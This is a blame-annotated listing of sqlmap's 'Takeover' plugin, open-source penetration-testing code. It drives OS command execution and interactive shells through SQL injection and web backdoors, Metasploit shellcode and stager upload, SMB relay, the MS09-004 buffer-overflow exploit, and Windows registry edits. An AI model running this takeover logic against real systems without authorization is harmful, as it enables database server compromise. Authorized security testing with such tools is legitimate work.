2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
|
2010-03-03 18:26:27 +03:00
|
|
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
2009-04-22 15:48:07 +04:00
|
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
|
|
the terms of the GNU General Public License as published by the Free
|
|
|
|
Software Foundation version 2 of the License.
|
|
|
|
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
|
|
details.
|
|
|
|
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
|
|
"""
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import readInput
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
2010-01-14 18:11:32 +03:00
|
|
|
from lib.core.exception import sqlmapNotVulnerableException
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.exception import sqlmapUndefinedMethod
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
|
|
from lib.takeover.abstraction import Abstraction
|
|
|
|
from lib.takeover.metasploit import Metasploit
|
|
|
|
from lib.takeover.registry import Registry
|
|
|
|
from lib.techniques.outband.stacked import stackedTest
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-03-23 01:57:57 +03:00
|
|
|
from plugins.generic.misc import Miscellaneous
|
|
|
|
|
|
|
|
class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This class defines generic OS takeover functionalities for plugins.
|
|
|
|
"""
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def __init__(self):
|
2010-03-23 01:57:57 +03:00
|
|
|
self.cmdTblName = "sqlmapoutput"
|
|
|
|
self.tblField = "data"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
Abstraction.__init__(self)
|
|
|
|
|
|
|
|
def osCmd(self):
|
|
|
|
stackedTest()
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if kb.stackedTest or conf.direct:
|
2010-01-14 18:11:32 +03:00
|
|
|
web = False
|
|
|
|
elif not kb.stackedTest and kb.dbms == "MySQL":
|
2010-01-14 17:03:16 +03:00
|
|
|
infoMsg = "going to use a web backdoor for command execution"
|
2009-04-28 15:05:07 +04:00
|
|
|
logger.info(infoMsg)
|
2010-01-28 20:22:17 +03:00
|
|
|
|
|
|
|
web = True
|
2009-04-28 15:05:07 +04:00
|
|
|
else:
|
2010-01-14 18:11:32 +03:00
|
|
|
errMsg = "unable to execute operating system commands via "
|
|
|
|
errMsg += "the back-end DBMS"
|
|
|
|
raise sqlmapNotVulnerableException(errMsg)
|
2010-01-14 17:33:08 +03:00
|
|
|
|
2010-01-14 18:11:32 +03:00
|
|
|
self.initEnv(web=web)
|
2010-01-15 21:00:15 +03:00
|
|
|
|
|
|
|
if not web or (web and self.webBackdoorUrl is not None):
|
|
|
|
self.runCmd(conf.osCmd)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-02-06 02:14:16 +03:00
|
|
|
if not conf.osShell and not conf.osPwn and not conf.cleanup:
|
|
|
|
self.cleanup()
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def osShell(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
stackedTest()
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if kb.stackedTest or conf.direct:
|
2010-01-14 18:11:32 +03:00
|
|
|
web = False
|
|
|
|
elif not kb.stackedTest and kb.dbms == "MySQL":
|
2010-01-14 17:03:16 +03:00
|
|
|
infoMsg = "going to use a web backdoor for command prompt"
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
2010-01-28 20:22:17 +03:00
|
|
|
|
|
|
|
web = True
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2010-01-14 18:11:32 +03:00
|
|
|
errMsg = "unable to prompt for an interactive operating "
|
|
|
|
errMsg += "system shell via the back-end DBMS"
|
|
|
|
raise sqlmapNotVulnerableException(errMsg)
|
2010-01-14 17:33:08 +03:00
|
|
|
|
2010-01-14 18:11:32 +03:00
|
|
|
self.initEnv(web=web)
|
2010-01-15 21:00:15 +03:00
|
|
|
|
|
|
|
if not web or (web and self.webBackdoorUrl is not None):
|
|
|
|
self.shell()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-02-06 02:14:16 +03:00
|
|
|
if not conf.osPwn and not conf.cleanup:
|
|
|
|
self.cleanup()
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def osPwn(self):
|
2010-01-14 17:33:08 +03:00
|
|
|
goUdf = False
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
stackedTest()
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if kb.stackedTest or conf.direct:
|
2010-01-14 18:11:32 +03:00
|
|
|
web = False
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-14 18:11:32 +03:00
|
|
|
self.initEnv(web=web)
|
2010-01-14 17:33:08 +03:00
|
|
|
self.getRemoteTempPath()
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
|
|
msg = "how do you want to execute the Metasploit shellcode "
|
|
|
|
msg += "on the back-end database underlying operating system?"
|
|
|
|
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
|
|
|
msg += "\n[2] Stand-alone payload stager (file system way)"
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
while True:
|
|
|
|
choice = readInput(msg, default=1)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
|
|
|
choice = int(choice)
|
|
|
|
break
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
|
|
|
break
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
else:
|
|
|
|
warnMsg = "invalid value, valid values are 1 and 2"
|
|
|
|
logger.warn(warnMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
if choice == 1:
|
|
|
|
goUdf = True
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
if goUdf:
|
|
|
|
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
|
|
|
else:
|
|
|
|
self.createMsfPayloadStager()
|
|
|
|
self.uploadMsfPayloadStager()
|
|
|
|
|
|
|
|
if kb.os == "Windows" and conf.privEsc:
|
|
|
|
if kb.dbms == "MySQL":
|
|
|
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
|
|
|
debugMsg += "user, no need to privilege escalate"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2010-01-28 20:22:17 +03:00
|
|
|
elif kb.os != "Windows" and conf.privEsc:
|
2010-01-14 17:33:08 +03:00
|
|
|
# Unset --priv-esc if the back-end DBMS underlying operating
|
|
|
|
# system is not Windows
|
|
|
|
conf.privEsc = False
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-28 20:22:17 +03:00
|
|
|
warnMsg = "sqlmap does not implement any operating system "
|
|
|
|
warnMsg += "user privilege escalation technique when the "
|
|
|
|
warnMsg += "back-end DBMS underlying system is not Windows"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2010-01-14 18:11:32 +03:00
|
|
|
elif not kb.stackedTest and kb.dbms == "MySQL":
|
|
|
|
infoMsg = "going to use a web backdoor to execute the "
|
|
|
|
infoMsg += "payload stager"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2010-01-28 20:22:17 +03:00
|
|
|
web = True
|
|
|
|
|
2010-01-14 18:11:32 +03:00
|
|
|
self.initEnv(web=web)
|
|
|
|
|
|
|
|
if self.webBackdoorUrl:
|
2010-01-28 20:22:17 +03:00
|
|
|
if kb.os != "Windows" and conf.privEsc:
|
|
|
|
# Unset --priv-esc if the back-end DBMS underlying operating
|
|
|
|
# system is not Windows
|
|
|
|
conf.privEsc = False
|
|
|
|
|
|
|
|
warnMsg = "sqlmap does not implement any operating system "
|
|
|
|
warnMsg += "user privilege escalation technique when the "
|
|
|
|
warnMsg += "back-end DBMS underlying system is not Windows"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2010-01-14 18:11:32 +03:00
|
|
|
self.getRemoteTempPath()
|
|
|
|
self.createMsfPayloadStager()
|
|
|
|
self.uploadMsfPayloadStager(web=True)
|
|
|
|
else:
|
|
|
|
errMsg = "unable to prompt for an out-of-band session via "
|
|
|
|
errMsg += "the back-end DBMS"
|
|
|
|
raise sqlmapNotVulnerableException(errMsg)
|
|
|
|
|
2010-01-15 21:00:15 +03:00
|
|
|
if not web or (web and self.webBackdoorUrl is not None):
|
|
|
|
self.pwn(goUdf)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-02-06 02:14:16 +03:00
|
|
|
if not conf.cleanup:
|
|
|
|
self.cleanup()
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def osSmb(self):
|
|
|
|
stackedTest()
|
|
|
|
|
|
|
|
self.checkDbmsOs()
|
|
|
|
|
|
|
|
if kb.os != "Windows":
|
|
|
|
errMsg = "the back-end DBMS underlying operating system is "
|
|
|
|
errMsg += "not Windows: it is not possible to perform the SMB "
|
|
|
|
errMsg += "relay attack"
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if not kb.stackedTest and not conf.direct:
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
|
|
|
errMsg = "on this back-end DBMS it is only possible to "
|
|
|
|
errMsg += "perform the SMB relay attack if stacked "
|
|
|
|
errMsg += "queries are supported"
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
elif kb.dbms == "MySQL":
|
|
|
|
debugMsg = "since stacked queries are not supported, "
|
|
|
|
debugMsg += "sqlmap is going to perform the SMB relay "
|
|
|
|
debugMsg += "attack via inference blind SQL injection"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
printWarn = True
|
|
|
|
warnMsg = "it is unlikely that this attack will be successful "
|
|
|
|
|
|
|
|
if kb.dbms == "MySQL":
|
|
|
|
warnMsg += "because by default MySQL on Windows runs as "
|
|
|
|
warnMsg += "Local System which is not a real user, it does "
|
|
|
|
warnMsg += "not send the NTLM session hash when connecting to "
|
|
|
|
warnMsg += "a SMB service"
|
|
|
|
|
|
|
|
elif kb.dbms == "PostgreSQL":
|
|
|
|
warnMsg += "because by default PostgreSQL on Windows runs "
|
|
|
|
warnMsg += "as postgres user which is a real user of the "
|
|
|
|
warnMsg += "system, but not within the Administrators group"
|
|
|
|
|
|
|
|
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
|
|
|
warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
|
|
|
warnMsg += "runs as Network Service which is not a real user, "
|
|
|
|
warnMsg += "it does not send the NTLM session hash when "
|
|
|
|
warnMsg += "connecting to a SMB service"
|
|
|
|
|
|
|
|
else:
|
|
|
|
printWarn = False
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if printWarn:
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
self.smb()
|
|
|
|
|
|
|
|
def osBof(self):
|
|
|
|
stackedTest()
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if not kb.stackedTest and not conf.direct:
|
2009-04-22 15:48:07 +04:00
|
|
|
return
|
|
|
|
|
|
|
|
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
|
|
|
errMsg = "the back-end DBMS must be Microsoft SQL Server "
|
|
|
|
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
|
|
|
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
|
|
|
errMsg += "stored procedure (MS09-004)"
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
|
|
|
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
|
|
|
infoMsg += "buffer overflow (MS09-004)"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.initEnv(mandatory=False, detailed=True)
|
|
|
|
self.getRemoteTempPath()
|
2009-09-26 03:03:45 +04:00
|
|
|
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
2009-04-22 15:48:07 +04:00
|
|
|
self.bof()
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2010-03-23 01:57:57 +03:00
|
|
|
def uncPathRequest(self):
|
|
|
|
errMsg = "'uncPathRequest' method must be defined "
|
|
|
|
errMsg += "into the specific DBMS plugin"
|
|
|
|
raise sqlmapUndefinedMethod, errMsg
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def __regInit(self):
|
|
|
|
stackedTest()
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if not kb.stackedTest and not conf.direct:
|
2009-09-26 03:03:45 +04:00
|
|
|
return
|
|
|
|
|
|
|
|
self.checkDbmsOs()
|
|
|
|
|
|
|
|
if kb.os != "Windows":
|
|
|
|
errMsg = "the back-end DBMS underlying operating system is "
|
|
|
|
errMsg += "not Windows"
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
self.initEnv()
|
|
|
|
self.getRemoteTempPath()
|
|
|
|
|
|
|
|
def regRead(self):
|
|
|
|
self.__regInit()
|
|
|
|
|
|
|
|
if not conf.regKey:
|
|
|
|
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
|
|
|
msg = "which registry key do you want to read? [%s] " % default
|
|
|
|
regKey = readInput(msg, default=default)
|
|
|
|
else:
|
|
|
|
regKey = conf.regKey
|
|
|
|
|
|
|
|
if not conf.regVal:
|
|
|
|
default = "ProductName"
|
|
|
|
msg = "which registry key value do you want to read? [%s] " % default
|
|
|
|
regVal = readInput(msg, default=default)
|
|
|
|
else:
|
|
|
|
regVal = conf.regVal
|
|
|
|
|
|
|
|
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2010-03-13 01:09:58 +03:00
|
|
|
return self.readRegKey(regKey, regVal, True)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
def regAdd(self):
|
|
|
|
self.__regInit()
|
|
|
|
|
|
|
|
errMsg = "missing mandatory option"
|
|
|
|
|
|
|
|
if not conf.regKey:
|
|
|
|
msg = "which registry key do you want to write? "
|
|
|
|
regKey = readInput(msg)
|
|
|
|
|
|
|
|
if not regKey:
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regKey = conf.regKey
|
|
|
|
|
|
|
|
if not conf.regVal:
|
|
|
|
msg = "which registry key value do you want to write? "
|
|
|
|
regVal = readInput(msg)
|
|
|
|
|
|
|
|
if not regVal:
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regVal = conf.regVal
|
|
|
|
|
|
|
|
if not conf.regData:
|
|
|
|
msg = "which registry key value data do you want to write? "
|
|
|
|
regData = readInput(msg)
|
|
|
|
|
|
|
|
if not regData:
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regData = conf.regData
|
|
|
|
|
|
|
|
if not conf.regType:
|
|
|
|
default = "REG_SZ"
|
|
|
|
msg = "which registry key value data-type is it? "
|
|
|
|
msg += "[%s] " % default
|
|
|
|
regType = readInput(msg, default=default)
|
|
|
|
else:
|
|
|
|
regType = conf.regType
|
|
|
|
|
|
|
|
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
|
|
|
infoMsg += "with data '%s'. " % regData
|
|
|
|
infoMsg += "This will work only if the user running the database "
|
|
|
|
infoMsg += "process has privileges to modify the Windows registry."
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.addRegKey(regKey, regVal, regType, regData)
|
|
|
|
|
|
|
|
def regDel(self):
|
|
|
|
self.__regInit()
|
|
|
|
|
|
|
|
errMsg = "missing mandatory option"
|
|
|
|
|
|
|
|
if not conf.regKey:
|
|
|
|
msg = "which registry key do you want to delete? "
|
|
|
|
regKey = readInput(msg)
|
|
|
|
|
|
|
|
if not regKey:
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regKey = conf.regKey
|
|
|
|
|
|
|
|
if not conf.regVal:
|
|
|
|
msg = "which registry key value do you want to delete? "
|
2009-12-21 14:04:54 +03:00
|
|
|
regVal = readInput(msg)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
if not regVal:
|
2010-01-02 05:02:12 +03:00
|
|
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regVal = conf.regVal
|
|
|
|
|
|
|
|
message = "are you sure that you want to delete the Windows "
|
|
|
|
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
|
|
|
output = readInput(message, default="N")
|
|
|
|
|
|
|
|
if output and output[0] not in ( "Y", "y" ):
|
|
|
|
return
|
|
|
|
|
2010-03-13 13:44:24 +03:00
|
|
|
infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal)
|
2009-09-26 03:03:45 +04:00
|
|
|
infoMsg += "This will work only if the user running the database "
|
|
|
|
infoMsg += "process has privileges to modify the Windows registry."
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.delRegKey(regKey, regVal)
|